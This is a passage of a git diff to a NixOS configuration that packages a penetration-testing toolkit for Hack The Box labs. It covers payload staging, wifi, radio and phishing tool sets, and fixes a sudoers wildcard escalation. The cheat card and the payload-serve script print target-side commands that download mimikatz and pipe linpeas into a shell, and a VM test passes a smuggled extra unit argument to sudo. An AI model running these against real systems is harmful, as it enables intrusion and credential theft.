$out/linux/arm64/agents/chisel ${armChisel} 'chisel' install -m0755 ${p.peass}/linux/linpeas.sh $out/linux/amd64/privesc/ install -m0755 ${p.lse}/share/lse/lse.sh $out/linux/amd64/privesc/ - install -m0755 ${lib.getExe pkgs.pspy} $out/linux/amd64/privesc/pspy + pick $out/linux/amd64/privesc/pspy ${linPspy} 'pspy' 'pspy64' + chmod +x $out/linux/amd64/privesc/pspy ##### macOS ########################################################### pick $out/macos/arm64/agents/ligolo-agent ${macLigolo} 'ligolo-agent' 'agent' pick $out/macos/arm64/agents/chisel ${macChisel} 'chisel' ##### Scripts ######################################################### - # PowerView/PowerUp and the rest of PowerSploit, from nixpkgs. - cp -r ${pkgs.powersploit}/share/powersploit/. $out/scripts/ad/ 2>/dev/null \ - || cp -r ${pkgs.powersploit}/. $out/scripts/ad/ + # PowerSploit installs to share/windows/powersploit — the previous + # `cp … 2>/dev/null || cp …` hid that and buried everything under + # scripts/ad/share, so the PowerView.ps1 the cheat card promises did + # not exist. Explicit path, and the two headline scripts hoisted to the + # top where they are documented. + cp -r ${pkgs.powersploit}/share/windows/powersploit/. $out/scripts/ad/ chmod -R u+w $out/scripts/ad + pick $out/scripts/ad/PowerView.ps1 ${pkgs.powersploit} 'PowerView.ps1' + pick $out/scripts/ad/PowerUp.ps1 ${pkgs.powersploit} 'PowerUp.ps1' cp -r ${p.nishang}/share/nishang $out/scripts/ad/nishang chmod -R u+w $out/scripts/ad/nishang @@ -215,7 +231,14 @@ let exec ${pkgs.python3Packages.impacket}/bin/smbserver.py \ -ip "$addr" -smb2support share "$TREE" ;; ""|[0-9]*) - port="''${1:-80}" + # 8000, not 80: ip_unprivileged_port_start is 1024, so port 80 dies + # with a PermissionError traceback AFTER printing a cheerful URL. + port="''${1:-8000}" + if [ "$port" -lt 1024 ] && [ "$(id -u)" != 0 ]; then + echo "payload-serve: port $port needs root (ports below 1024)." >&2 + echo "payload-serve: run 'sudo payload-serve $port', or use the default 8000." >&2 + exit 2 + fi echo "payload-serve: http://$addr:$port/ ($TREE)" echo " target: certutil -urlcache -f http://$addr:$port/windows/amd64/creds/mimikatz.exe mimikatz.exe" exec ${pkgs.python3}/bin/python3 -m http.server "$port" --bind "$addr" --directory "$TREE" ;; @@ -237,8 +260,12 @@ in in { + # Declared here rather than by mkCategory, so it has to follow the + # master switch by hand — same reason as _sets.nix. options.daemon.pentest.payloads.enable = - lib.mkEnableOption "the staged payload tree and payload-serve" // { default = true; }; + lib.mkEnableOption "the staged payload tree and payload-serve" // { + default = cfg.enable; + }; config = lib.mkIf on { environment.systemPackages = [ payload-serve ]; @@ -292,6 +319,8 @@ in scripts/printer/CVE-2021-1675.py \ scripts/privesc/EfsPotato.cs \ scripts/ad/nishang \ + scripts/ad/PowerView.ps1 \ + scripts/ad/PowerUp.ps1 \ INVENTORY.txt do [ -e "$T/$f" ] || { echo "payloads: missing $f" >&2; exit 1; } @@ -305,6 +334,30 @@ in *) echo "payloads: $1 is '$got', expected *$2*" >&2; exit 1 ;; esac } + # These run on SOMEONE ELSE'S machine, so they must not depend on + # this one: no /nix/store interpreter, no /nix/store shebang. + # Before this assertion existed, chisel and pspy were dynamically + # linked against the store's glibc and lse.sh's shebang had been + # rewritten by patchShebangs — all three died on a target with + # "No such file or directory". + for f in linux/amd64/agents/chisel linux/amd64/agents/ligolo-agent \ + linux/amd64/privesc/pspy linux/arm64/agents/chisel \ + linux/arm64/agents/ligolo-agent; do + got=$(file -bL "$T/$f") + case "$got" in + *"statically linked"*|*"static-pie linked"*) ;; + *) echo "payloads: $f is '$got' — it must be statically linked" >&2; exit 1 ;; + esac + done + for f in linux/amd64/privesc/linpeas.sh linux/amd64/privesc/lse.sh \ + scripts/privesc/linpeas.sh scripts/privesc/lse.sh \ + scripts/printer/printerbug.py; do + sb=$(head -1 "$T/$f") + case "$sb" in + */nix/store/*) echo "payloads: $f has a store shebang ($sb)" >&2; exit 1 ;; + esac + done + expect windows/amd64/creds/mimikatz.exe 'PE32+' expect windows/amd64/agents/ligolo-agent.exe 'PE32+' expect windows/amd64/agents/chisel.exe 'PE32+' diff --git a/modules/features/pentest/python.nix b/modules/features/pentest/python.nix @@ -95,10 +95,6 @@ impacket-cmd # `impacket` / `impacket --list` impacket # the 70 example scripts, as `secretsdump.py` etc. aliases # ...and as `secretsdump`, collision-guarded - # Standalone, not in the env: pywerview is the one tool pulling - # ldap3-bleeding-edge while everything else pulls ldap3-2.9.1, and - # buildEnv cannot hold both. Spec C2's documented fallback. - pkgs.python3Packages.pywerview ]; expectedBins = [ @@ -108,7 +104,6 @@ "GetUserSPNs" "impacket" # the discovery command "impacket-split" # held back from the bare name, reachable prefixed - "pywerview" ]; # Review Focus #1. environment.systemPackages merges every package into ONE diff --git a/modules/features/pentest/radio.nix b/modules/features/pentest/radio.nix @@ -0,0 +1,71 @@ +# modules/features/pentest/radio.nix — everything that is a radio but not wifi: +# software-defined radio, Bluetooth, and RFID/NFC. +# Off by default. `daemon.pentest.radio.enable = true;` +# +# Split from wireless.nix on purpose. That category is a wifi card in monitor +# mode; this one is a dongle on the USB bus — HackRF, RTL-SDR, Ubertooth, +# Proxmark3 — and it pulls in Qt GUIs and a different set of udev rules. If +# you have no SDR hardware, leaving this off saves a large closure. +# +# gnuradio and sdrangel are deliberately NOT here: each is a very large +# closure, and `gqrx` already brings a gnuradio runtime for the common case of +# "look at a spectrum and demodulate it". Add them to this list if you start +# building flowgraphs. +# +# Nearly all of it needs device access. The udev rules come from the packages +# themselves via services.udev.packages below, so an unprivileged user can +# talk to the hardware without sudo. +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "radio"; + description = "SDR, Bluetooth and RFID/NFC: hackrf, rtl-sdr, ubertooth, proxmark3"; + default = false; + + packages = pkgs: with pkgs; [ + # Software-defined radio + hackrf # hackrf_info, hackrf_sweep, hackrf_transfer + rtl-sdr # rtl_sdr, rtl_fm, rtl_power, rtl_test + rtl_433 # decode the 433/868/915 MHz device zoo + gqrx # spectrum + demodulation, the one you actually open + inspectrum # offline analysis of a capture + urh # Universal Radio Hacker: urh, urh_cli + multimon-ng # POCSAG, FLEX, DTMF and friends + + # Bluetooth + ubertooth # ubertooth-btle, ubertooth-rx, ubertooth-specan + btlejack # BLE connection hijacking + bluez-tools # bt-adapter, bt-device, bt-network, bt-obex + spooftooph # clone a device's address and name + + # RFID / NFC + proxmark3 # `pm3` — the 125 kHz / 13.56 MHz workhorse + libnfc # nfc-list, nfc-poll, nfc-mfclassic, … + mfoc # MIFARE Classic key recovery (nested attack) + mfcuk # the darkside attack, for when mfoc has no known key + ]; + + expectedBins = [ + "hackrf_info" "hackrf_sweep" "hackrf_transfer" + "rtl_sdr" "rtl_fm" "rtl_power" "rtl_test" "rtl_433" + "gqrx" "inspectrum" "urh" "urh_cli" "multimon-ng" + "ubertooth-btle" "ubertooth-rx" "ubertooth-specan" "ubertooth-util" + "btlejack" "bt-adapter" "bt-device" "spooftooph" + "pm3" "proxmark3" "nfc-list" "nfc-poll" "nfc-mfclassic" "mfoc" "mfcuk" + ]; + + extraConfig = { pkgs, lib, ... }: { + # Without these, every one of the above needs root to open its USB device. + # Each package ships the rules for its own hardware. + services.udev.packages = with pkgs; [ + hackrf + rtl-sdr + ubertooth + proxmark3 + libnfc + ]; + + # Bluetooth attacks need the stack up, and bluez's own tools (bluetoothctl, + # hcitool) alongside bluez-tools'. mkDefault: the host may already set this. + hardware.bluetooth.enable = lib.mkDefault true; + }; +} diff --git a/modules/features/pentest/social.nix b/modules/features/pentest/social.nix @@ -0,0 +1,24 @@ +# modules/features/pentest/social.nix — phishing and pretexting infrastructure. +# Off by default. `daemon.pentest.social.enable = true;` +# +# Off by default and loudly so: unlike a port scanner, a phishing campaign +# reaches people who have not agreed to anything. These belong to an engagement +# with written scope naming the users in it. CPTS does not need them — this +# category exists because Kali ships both and the toolkit is meant to match. +# +# `gophish` is a campaign server with a web admin UI. It has no systemd unit +# here and starts nothing on boot: run `gophish` from the directory you want it +# to keep its database in, and it prints the admin URL and a one-time password. +{ lib, ... }: +(import ./_sets.nix { inherit lib; }) { + name = "social"; + description = "phishing campaigns and pretexting: gophish, setoolkit"; + default = false; + + packages = pkgs: with pkgs; [ + gophish + social-engineer-toolkit # `setoolkit`, `seautomate`, `seproxy` + ]; + + expectedBins = [ "gophish" "setoolkit" "seautomate" ]; +} diff --git a/modules/features/pentest/update.nix b/modules/features/pentest/update.nix @@ -96,8 +96,27 @@ r'https://github\.com/(?P<slug>[^/]+/[^/]+)/releases/download/' r'(?P<tag>[^/"]+)/(?P<asset>[^"/]+)') seen = set() + # A derivation that builds its URL with Nix interpolation leaves the + # literal text of that interpolation where the tag should be, e.g. + # a dollar-brace version reference. Comparing THAT against the real + # latest tag reported three pins as newer when all three were current — + # a tool that cries "newer" about nothing is worse than useless. So + # resolve it from the nearest preceding `version = "…";`. + def resolve_tag(text, tag, upto): + if "''${" not in tag: + return tag + vers = re.findall(r'version\s*=\s*"([^"]+)"', text[:upto]) + if not vers: + return None + return re.sub(r'\$\{version\}', vers[-1], tag) + for m in rel.finditer(original): - slug, tag = m.group("slug"), m.group("tag") + slug = m.group("slug") + tag = resolve_tag(original, m.group("tag"), m.start()) + if tag is None: + problems.append(slug + ": pinned tag is interpolated and could " + "not be resolved; check it by hand") + continue if (slug, tag) in seen: continue seen.add((slug, tag)) diff --git a/modules/features/pentest/vpn.nix b/modules/features/pentest/vpn.nix @@ -41,6 +41,72 @@ exit 1 ''; + # Root side, the fan-ec pattern (modules/hosts/laptop/fan-cli.nix): a + # fixed store script that validates its own arguments and builds the unit + # name itself. + # + # It replaces two `systemctl start|stop htbvpn@*` sudoers rules, which + # were a privilege escalation: sudoers matches the argument pattern with + # fnmatch and no FNM_PATHNAME, so `*` spans spaces and + # `start htbvpn@x canary.service` matched the rule — systemd then started + # both units. Any wheel user could start or stop anything, passwordless. + htbvpn-ctl = pkgs.writeShellScriptBin "htbvpn-ctl" '' + set -uo pipefail + [ "$(id -u)" = 0 ] || { echo "htbvpn-ctl: run as root (htbvpn does that)" >&2; exit 1; } + PATH=${lib.makeBinPath [ pkgs.systemd pkgs.coreutils ]}:$PATH + + # Exactly two arguments, so nothing extra can be appended. + [ "$#" -eq 2 ] || { echo "usage: htbvpn-ctl start|stop <profile>" >&2; exit 2; } + action="$1" + profile="$2" + + case "$action" in + start | stop) ;; + *) echo "htbvpn-ctl: action must be start or stop" >&2; exit 2 ;; + esac + case "$profile" in + "" | .* | *[!A-Za-z0-9_.-]*) + echo "htbvpn-ctl: bad profile name: $profile" >&2; exit 2 ;; + esac + + exec systemctl "$action" "htbvpn@$profile.service" + ''; + + # One command to get on the lab, because `htbvpn up <profile>` is three + # words too many when there is only ever one profile. + htbup = pkgs.writeShellScriptBin "htbup" '' + set -uo pipefail + PATH=/run/current-system/sw/bin:${lib.makeBinPath [ pkgs.coreutils pkgs.findutils pkgs.gnused ]}:$PATH + DIR=${lib.escapeShellArg vpnDir} + + p="''${1:-}" + if [ -z "$p" ]; then + # No argument: if exactly one profile exists, that is the one meant. + n=$(find "$DIR" -maxdepth 1 -name '*.ovpn' 2>/dev/null | wc -l) + if [ "$n" -eq 1 ]; then + p=$(find "$DIR" -maxdepth 1 -name '*.ovpn' -printf '%f\n' | sed 's/\.ovpn$//') + elif [ "$n" -eq 0 ]; then + echo "htbup: no .ovpn profiles in $DIR" >&2 + echo "htbup: download one from HTB (Access -> OpenVPN) and drop it there" >&2 + exit 2 + else + echo "htbup: several profiles — say which:" >&2 + htbvpn list >&2 + exit 2 + fi + fi + + htbvpn up "$p" || exit 1 + echo "" + htbvpn status + if t=$(htbtarget 2>/dev/null | head -1); then echo " $t"; fi + echo " serve payloads with: payload-serve" + ''; + + htbdown = pkgs.writeShellScriptBin "htbdown" '' + exec /run/current-system/sw/bin/htbvpn down + ''; + htbvpn = pkgs.writeShellScriptBin "htbvpn" '' set -uo pipefail PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.gnugrep pkgs.gnused pkgs.systemd pkgs.gawk ]}:$PATH @@ -87,9 +153,9 @@ cur=$(active) if [ -n "$cur" ]; then echo "stopping htbvpn@$cur first (one tunnel at a time)" - ${sudo} -n ${systemctl} stop "htbvpn@$cur.service" || true + ${sudo} -n /run/current-system/sw/bin/htbvpn-ctl stop "$cur" || true fi - ${sudo} -n ${systemctl} start "htbvpn@$p.service" || { + ${sudo} -n /run/current-system/sw/bin/htbvpn-ctl start "$p" || { echo "htbvpn: failed to start; journalctl -u htbvpn@$p" >&2; exit 1; } for _ in $(seq 1 30); do if a=$(${lib.getExe tunAddr} 2>/dev/null); then echo "htbvpn: $p up, tunnel $a"; exit 0; fi @@ -101,7 +167,7 @@ down) cur=$(active) [ -n "$cur" ] || { echo "htbvpn: nothing is up"; exit 0; } - ${sudo} -n ${systemctl} stop "htbvpn@$cur.service" + ${sudo} -n /run/current-system/sw/bin/htbvpn-ctl stop "$cur" echo "htbvpn: $cur down" ;; status) @@ -117,7 +183,7 @@ in { config = lib.mkIf on { - environment.systemPackages = [ htbvpn tunAddr pkgs.openvpn ]; + environment.systemPackages = [ htbvpn htbvpn-ctl htbup htbdown tunAddr pkgs.openvpn ]; # The directory only; the profiles in it are yours. The parents are # listed explicitly: a tmpfiles `d` line does not reliably create a @@ -135,21 +201,29 @@ wants = [ "network-online.target" ]; serviceConfig = { Type = "simple"; - ExecStart = "${pkgs.openvpn}/bin/openvpn --suppress-timestamps --config ${vpnDir}/%i.ovpn"; + # --script-security 1 comes AFTER --config deliberately: openvpn + # applies options in order, so this overrides a `script-security 2` + # inside the profile. Without it, a profile in this user-owned + # 0700 directory could run `up /tmp/x.sh` as root — the unit runs + # as root, and the profiles are deliberately not Nix-managed. + # Level 1 still allows openvpn's own built-in ifconfig/route calls. + ExecStart = + "${pkgs.openvpn}/bin/openvpn --suppress-timestamps" + + " --config ${vpnDir}/%i.ovpn --script-security 1"; # Profiles often reference certs by relative path. WorkingDirectory = vpnDir; Restart = "no"; }; }; - # Scoped exactly as fan-cli.nix does: wheel, no password, and only - # these two verbs on this one unit template. + # One argument-free grant on a fixed script, exactly as fan-cli.nix + # does. No wildcard, so there is no argument pattern to widen. security.sudo.extraRules = [ { groups = [ "wheel" ]; commands = [ - { command = "/run/current-system/sw/bin/systemctl start htbvpn@*"; options = [ "NOPASSWD" ]; } - { command = "/run/current-system/sw/bin/systemctl stop htbvpn@*"; options = [ "NOPASSWD" ]; } + { command = "${lib.getExe htbvpn-ctl}"; options = [ "NOPASSWD" ]; } + { command = "/run/current-system/sw/bin/htbvpn-ctl"; options = [ "NOPASSWD" ]; } ]; } ]; @@ -165,7 +239,7 @@ checks.pentest-vpn-vm = pkgs.testers.runNixOSTest { name = "pentest-vpn"; - nodes.machine = { + nodes.machine = { pkgs, ... }: { imports = [ self.nixosModules.pentest-options self.nixosModules.pentest-vpn @@ -176,6 +250,16 @@ isNormalUser = true; extraGroups = [ "wheel" ]; }; + + # A unit the user must NOT be able to start through the VPN grant. + systemd.services.canary = { + description = "must not be startable by the htbvpn sudo rule"; + wantedBy = [ ]; + serviceConfig = { + Type = "oneshot"; + ExecStart = "${pkgs.coreutils}/bin/touch /tmp/canary-fired"; + }; + }; }; testScript = '' @@ -218,6 +302,27 @@ machine.fail("ip link show tun0") machine.succeed("ip -4 addr show tun1 | grep -q 10.9.0.1") + # The grant must be "start my VPN", not "start anything". + # + # sudoers matches the argument pattern with fnmatch and no + # FNM_PATHNAME, so `*` spans spaces: with a rule of + # `systemctl start htbvpn@*`, the arguments + # `start htbvpn@profileA canary.service` MATCH, and systemd starts + # both units. That turned a VPN grant into "start any unit". + machine.fail( + "su -l daemonsec -c 'sudo -n /run/current-system/sw/bin/systemctl " + "start htbvpn@profileB canary.service'" + ) + machine.fail("test -e /tmp/canary-fired") + machine.fail("systemctl is-active canary.service") + + # ...and the plain form must be refused too. + machine.fail( + "su -l daemonsec -c 'sudo -n /run/current-system/sw/bin/systemctl " + "start canary.service'" + ) + machine.fail("test -e /tmp/canary-fired") + # down: nothing left holding a tunnel. machine.succeed("su -l daemonsec -c 'htbvpn down'") machine.fail("systemctl is-active 'htbvpn@profileB.service'") diff --git a/modules/features/pentest/web.nix b/modules/features/pentest/web.nix @@ -26,9 +26,22 @@ "jwt" "jwt-hack" "mitmproxy" ]; + # The variable name is asserted against the binary: setting one nuclei does + # not read is silent, and the first version of this set NUCLEI_TEMPLATES, + # which nuclei ignores — so it still downloaded templates to $HOME while the + # comment claimed otherwise. + checkScript = { pkgs, lib }: '' + if ! grep -aq 'NUCLEI_TEMPLATES_DIR' ${pkgs.nuclei}/bin/nuclei; then + echo "pentest-web: nuclei no longer reads NUCLEI_TEMPLATES_DIR;" >&2 + echo " check its env vars and update web.nix" >&2 + exit 1 + fi + ''; + extraConfig = { pkgs, ... }: { # nuclei writes its template tree to $HOME on first run and then tries to # update it over the network. Point it at the Nix copy instead. - environment.sessionVariables.NUCLEI_TEMPLATES = "${pkgs.nuclei-templates}/share/nuclei-templates"; + environment.sessionVariables.NUCLEI_TEMPLATES_DIR = + "${pkgs.nuclei-templates}/share/nuclei-templates"; }; } diff --git a/modules/features/pentest/wireless.nix b/modules/features/pentest/wireless.nix @@ -1,15 +1,52 @@ # modules/features/pentest/wireless.nix — 802.11 and on-the-wire capture. # Off by default. `daemon.pentest.wireless.enable = true;` +# +# Bluetooth, RFID/NFC and software-defined radio are NOT here — they are their +# own category (radio.nix), because this one is about a wifi adapter in monitor +# mode and that one is about an SDR dongle or a Proxmark. Enabling one should +# not drag in the other's drivers and GUIs. +# +# Most of this needs a card that supports monitor mode and injection, and all +# of it needs root. `airmon-ng start wlan1` will fight NetworkManager for the +# interface; `airmon-ng check kill` is the usual answer. { lib, ... }: (import ./_sets.nix { inherit lib; }) { name = "wireless"; - description = "wifi attacks and packet capture"; + description = "wifi attacks, rogue APs and packet capture"; default = false; packages = pkgs: with pkgs; [ + # The classics aircrack-ng hcxtools + hcxdumptool # PMKID capture, the modern first move bettercap + + # Drivers of the above + wifite2 # `wifite`: wraps aircrack/reaver/bully/hcx into one attack loop + airgeddon # the menu-driven equivalent, when you want to see each step + + # WPS + reaverwps-t6x # `reaver` and `wash`, the t6x fork (the maintained one) + bully + pixiewps # offline WPS pin recovery + + # WPA handshake and enterprise + cowpatty # cowpatty, genpmk + asleap # LEAP/PPTP MS-CHAPv2 + + # Deauth, beacon flood, rogue AP + mdk4 + hostapd # the honest way to stand up a rogue AP + + # Interface wrangling + iw + wirelesstools # iwconfig, iwlist — older tools some scripts still call + macchanger + horst # a quick 802.11 top(1) + + # Capture + kismet termshark tcpdump # The full wireshark, not wireshark-cli: gui.nix installs this same @@ -21,15 +58,34 @@ expectedBins = [ "aircrack-ng" "airmon-ng" "airodump-ng" "aireplay-ng" - "hcxpcapngtool" "hcxhashtool" "bettercap" "termshark" "tcpdump" "tshark" + "hcxpcapngtool" "hcxhashtool" "hcxdumptool" "bettercap" + "wifite" "airgeddon" + "reaver" "wash" "bully" "pixiewps" + "cowpatty" "genpmk" "asleap" + "mdk4" "hostapd" + "iw" "iwconfig" "iwlist" "macchanger" "horst" + "kismet" "termshark" "tcpdump" "tshark" ]; extraConfig = { pkgs, lib, ... }: { # As in gui.nix: the group and the dumpcap capability wrapper, without - # which capture needs full root. mkDefault so both modules can set it. + # which capture needs full root. + # + # `package` is set at a WEAKER priority than gui.nix's mkDefault (1000) on + # purpose. Two mkDefaults are not interchangeable here: `types.package` + # merges with mergeEqualOption, which compares definitions with `==`, and + # `==` on two derivations compares their `override`/`overrideAttrs` + # functions and is therefore false even for the same store path. So two + # equal-priority definitions are a hard "defined multiple times" error the + # moment `gui` and `wireless` are both on. The ladder makes gui win and + # leaves this one effective when gui is off. + # + # It must be the full wireshark either way: this category installs that + # attribute in `packages`, and the module's own default (wireshark-cli) + # would be a SECOND package owning bin/tshark and bin/dumpcap. programs.wireshark = { - enable = lib.mkDefault true; - package = lib.mkDefault pkgs.wireshark; + enable = lib.mkDefault true; # bool merges when the values are equal + package = lib.mkOverride 1500 pkgs.wireshark; }; }; } diff --git a/modules/home/cheats/pentest.md b/modules/home/cheats/pentest.md @@ -6,9 +6,13 @@ switched with `daemon.pentest.<category>.enable` in ## htb — the box you are on + htbup connect (picks the only profile), then + shows the tunnel IP and current target + htbdown disconnect + htbvpn list profiles in ~/.config/htb/vpn - htbvpn up lab_eu_free start the tunnel (stops any other first) - htbvpn down stop it + htbvpn up lab_eu_free a specific profile (stops any other first) + htbvpn down htbvpn status htbip your tunnel address htbtarget 10.10.11.5 set the target @@ -16,14 +20,23 @@ switched with `daemon.pentest.<category>.enable` in ...and write /etc/hosts (Kerberos needs names) htbtarget show it htbtarget clear forget it - htb new escape 10.10.11.202 ~/htb/escape/{nmap,loot,creds,www,exploit} - htb ls boxes, newest first + htbbox new escape 10.10.11.202 ~/htb/escape/{nmap,loot,creds,www,exploit} + htbbox ls boxes, newest first + +It is `htbbox`, not `htb`: your dotfiles already define an `htb()` function and +a zsh function always wins over a command on PATH. Your own `htb-newbox` does +the same scaffolding backed by sqlite (`htb-list`, `creds`, `findings`, `flags`, +`note`) — sqlite3 is now installed, so those work too. $TARGET, $RHOST, $IP and $BOX are exported in every terminal. Caveat: they refresh at each PROMPT. A shell already running a long command keeps the old value until it returns. Open a new line, or re-run `htbtarget`. + Caveat: `nh os switch` regenerates /etc/hosts and DROPS the htbtarget block. + Mid-box, re-run `htbtarget <ip> <fqdn>` after any rebuild or Kerberos stops + resolving. + htbtime match the DC's clock (uses $TARGET) htbtime off put normal time sync back htbtime status are we holding a skew? @@ -66,9 +79,10 @@ BloodHound: two viewers, two formats, NOT interchangeable. bloodhound-python -u user -p pass -d vintage.htb -dc dc01.vintage.htb -c all # -> LEGACY format, for bloodhound-legacy - bloodhound-up # neo4j (+postgres), then browse :8080 - bloodhound-status bloodhound-down - bloodhound-legacy # the archived 4.3.1 GUI, for legacy JSON + bloodhound ce # postgres + neo4j + the CE API, then the URL + bloodhound creds # the generated admin password + bloodhound legacy # neo4j + the archived 4.3.1 GUI + bloodhound status bloodhound down Feeding legacy JSON to CE (or the reverse) fails with an unhelpful parse error. That is the usual way to lose an hour here. SharpHound CE lives in @@ -116,12 +130,13 @@ by hand does not work on NixOS, so change pivot.nix instead. ## transfer — getting files across - payload-serve HTTP on your tunnel address, port 80 - payload-serve 8000 ...on 8000 + payload-serve HTTP on your tunnel address, port 8000 + payload-serve 80 ...on 80 (needs sudo: ports under 1024) payload-serve --smb impacket smbserver, share name `share` payload-serve --list what is in the tree -It refuses to start when the VPN is down rather than binding every interface. +It refuses to start when the VPN is down rather than binding every interface, +and refuses an unprivileged port under 1024 rather than dying halfway. echo $PAYLOADS $PAYLOADS/windows/amd64/creds/mimikatz.exe also mimikatz-2.2.0-*.exe @@ -131,10 +146,13 @@ It refuses to start when the VPN is down rather than binding every interface. $PAYLOADS/scripts/ad/PowerView.ps1 and nishang/ $PAYLOADS/scripts/printer/ printerbug.py, CVE-2021-1675.py - # on the target - certutil -urlcache -f http://$(htbip)/windows/amd64/creds/mimikatz.exe m.exe - iwr -uri http://$(htbip)/x.exe -outfile x.exe - wget http://$(htbip)/linux/amd64/privesc/linpeas.sh -O- | sh + # on the target (default port 8000) + certutil -urlcache -f http://$(htbip):8000/windows/amd64/creds/mimikatz.exe m.exe + iwr -uri http://$(htbip):8000/x.exe -outfile x.exe + wget http://$(htbip):8000/linux/amd64/privesc/linpeas.sh -O- | sh + +The Linux binaries are statically linked and the scripts use /bin/sh, so they +run on a target that has none of this machine's libraries. ## crack — offline @@ -153,7 +171,7 @@ It refuses to start when the VPN is down rather than binding every interface. feroxbuster -u http://$TARGET --depth 2 ffuf -u http://$TARGET -H 'Host: FUZZ.vintage.htb' -w subdomains.txt -fs 0 # vhosts nuclei -u http://$TARGET - sqlmap -u 'http://$TARGET/?id=1' --batch --dbs + sqlmap -u "http://$TARGET/?id=1" --batch --dbs wpscan --url http://$TARGET --enumerate u searchsploit apache 2.4 @@ -169,10 +187,53 @@ burpsuite and zap are in the launcher (daemon.pentest.gui). fls -r -o 2048 disk.img exiftool file.jpg chntpw -l SAM # offline local accounts +## wifi — 802.11 and radio (off by default) + + daemon.pentest.wireless.enable = true; # wifi + daemon.pentest.radio.enable = true; # SDR, bluetooth, RFID + + airmon-ng check kill stop NetworkManager fighting you + airmon-ng start wlan1 -> wlan1mon + airodump-ng wlan1mon survey + wifite --kill the whole attack loop, guided + hcxdumptool -i wlan1mon -w pmkid.pcapng PMKID, no client needed + hcxpcapngtool -o hash.hc22000 pmkid.pcapng + hashcat -m 22000 hash.hc22000 $WORDLISTS/rockyou.txt + reaver -i wlan1mon -b <bssid> -K 1 WPS pixie-dust + kismet -c wlan1mon passive, logs everything + + hackrf_info is the SDR there + rtl_433 -F json the 433 MHz device zoo + gqrx look at the spectrum + ubertooth-btle -f follow a BLE connection + pm3 proxmark3 console + nfc-list what is on the reader + +## db — databases you found listening (off by default) + + daemon.pentest.database.enable = true; + + mysql -h "$TARGET" -u root -p mycli for completion/history + tsql -H "$TARGET" -p 1433 -U sa MSSQL; sqlcmd also works + pgcli -h "$TARGET" -U postgres psql comes with bloodhound + redis-cli -h "$TARGET" then: INFO, KEYS *, CONFIG GET dir + usql mysql://user:pass@"$TARGET"/db one client, any URL + ## nix — maintaining this nh os switch rebuild and activate - daemon.pentest.<cat>.enable = false; drop a category nix develop ~/NixDaemon#pentest the whole kit, portable, no install + nix develop ~/NixDaemon#pentest-ad one category, same way nix flake check every category's smoke test - pentest-update --dry-run see what newer pins exist + pentest-update report newer pins (changes nothing) + pentest-update --apply rewrite the revs and hashes + +Every category is listed in `modules/hosts/laptop/configuration.nix`, so the +whole toolkit is toggled from one block. On by default: + + core wordlists python recon ad web pivot crack shells + bloodhound vpn time htb payloads update gui + +Off until you flip it to `true` there: + + dfir reversing wireless radio hardware c2 database cloud osint social mobile diff --git a/modules/home/htb-shell.nix b/modules/home/htb-shell.nix @@ -1,57 +1,26 @@ -# modules/home/htb-shell.nix — makes the current target visible in every -# terminal, and in the prompt. +# modules/home/htb-shell.nix — $TARGET in the prompt. # -# The target itself is a file written by `htbtarget` -# (modules/features/pentest/htb.nix). A variable cannot be pushed into a shell -# that is already running, so instead zsh re-reads that file in `precmd`, -# which runs before every prompt. Set the target in one terminal and the next -# prompt in every other terminal has it: +# The shell integration that exports $TARGET/$RHOST/$IP/$BOX is NOT here: it is +# a NixOS option (programs.zsh.interactiveShellInit in +# modules/features/pentest/htb.nix), because zsh's configuration on this +# machine is the dotfiles' ZDOTDIR tree and home-manager's zsh module is not +# enabled — anything put in programs.zsh.initContent is never read. This file +# is only the prompt half. # -# $TARGET $RHOST $IP the address $BOX the box name -# -# A shell sitting inside a long-running command keeps the old value until it -# returns. That is inherent to the approach and documented in pentest-cheat. -# -# This hooks in through programs.zsh.initContent rather than replacing -# anything: zsh's real configuration is the dotfiles' ZDOTDIR tree -# (modules/home/shell.nix), and this has to coexist with it. +# The format entry itself lives in modules/home/prompt.nix, which lists every +# starship module explicitly; starship renders nothing that is absent from +# `format`, so defining the module here alone did nothing. { ... }: { flake.homeModules.htb-shell = - { config, lib, osConfig, pkgs, ... }: + { lib, osConfig, ... }: let cfg = osConfig.daemon.pentest or { }; - on = cfg.enable or false; - promptTarget = cfg.htb.promptTarget or false; + on = (cfg.enable or false) && (cfg.htb.promptTarget or false); in { - programs.zsh.initContent = lib.mkIf on (lib.mkOrder 1200 '' - # --- htb target, shared across terminals ------------------------------- - # Re-read before each prompt so a target set in another terminal shows up - # here. Cheap: three small reads of files in $XDG_STATE_HOME. - _htb_state="''${XDG_STATE_HOME:-$HOME/.local/state}/htb" - _htb_load() { - if [[ -s "$_htb_state/target" ]]; then - TARGET="$(<"$_htb_state/target")" - TARGET="''${TARGET%%$'\n'*}" - export TARGET RHOST="$TARGET" IP="$TARGET" - else - unset TARGET RHOST IP - fi - if [[ -s "$_htb_state/box" ]]; then - BOX="$(<"$_htb_state/box")" - export BOX="''${BOX%%$'\n'*}" - else - unset BOX - fi - } - autoload -Uz add-zsh-hook - add-zsh-hook precmd _htb_load - _htb_load - ''); - # Rosé Pine love (#eb6f92) for the target, so it reads as "live fire". - programs.starship.settings = lib.mkIf (on && promptTarget) { + programs.starship.settings = lib.mkIf on { env_var.TARGET = { variable = "TARGET"; format = "[ 󰓾 $env_value]($style) "; diff --git a/modules/home/prompt.nix b/modules/home/prompt.nix @@ -66,6 +66,11 @@ format = lib.concatStrings [ "[╭╌](fg:muted) " "\${env_var.CROSS_GLYPH}" + # The current pentest target, when one is set. starship renders + # nothing that is not named here, so defining env_var.TARGET in + # modules/home/htb-shell.nix is not enough on its own. It collapses + # to nothing when $TARGET is unset. + "\${env_var.TARGET}" "$username" "$hostname" "$shlvl" diff --git a/modules/home/ssh.nix b/modules/home/ssh.nix @@ -21,7 +21,7 @@ sops.secrets.ssh_id_ed25519 = { }; # → %r/secrets.d/…, mode 0400 (ssh is happy with that) home.file.".ssh/id_ed25519.pub".text = '' - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAsXOt8jkVBgL2ANFgkftVfRlswxBvBUM33Tv/bS+I5Z daemonsec@nixos + ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB8ExB6Gv5T7DwwVeNqVmzbwCcZ/ULuKL2pAXS7zg4NR daemonsec@nixos ''; programs.ssh = { diff --git a/modules/hosts/laptop/configuration.nix b/modules/hosts/laptop/configuration.nix @@ -37,9 +37,31 @@ niri.enable = true; }; - # The offensive toolkit (modules/features/pentest/). Each category carries - # its own daemon.pentest.<category>.enable; see pentest-cheat. - 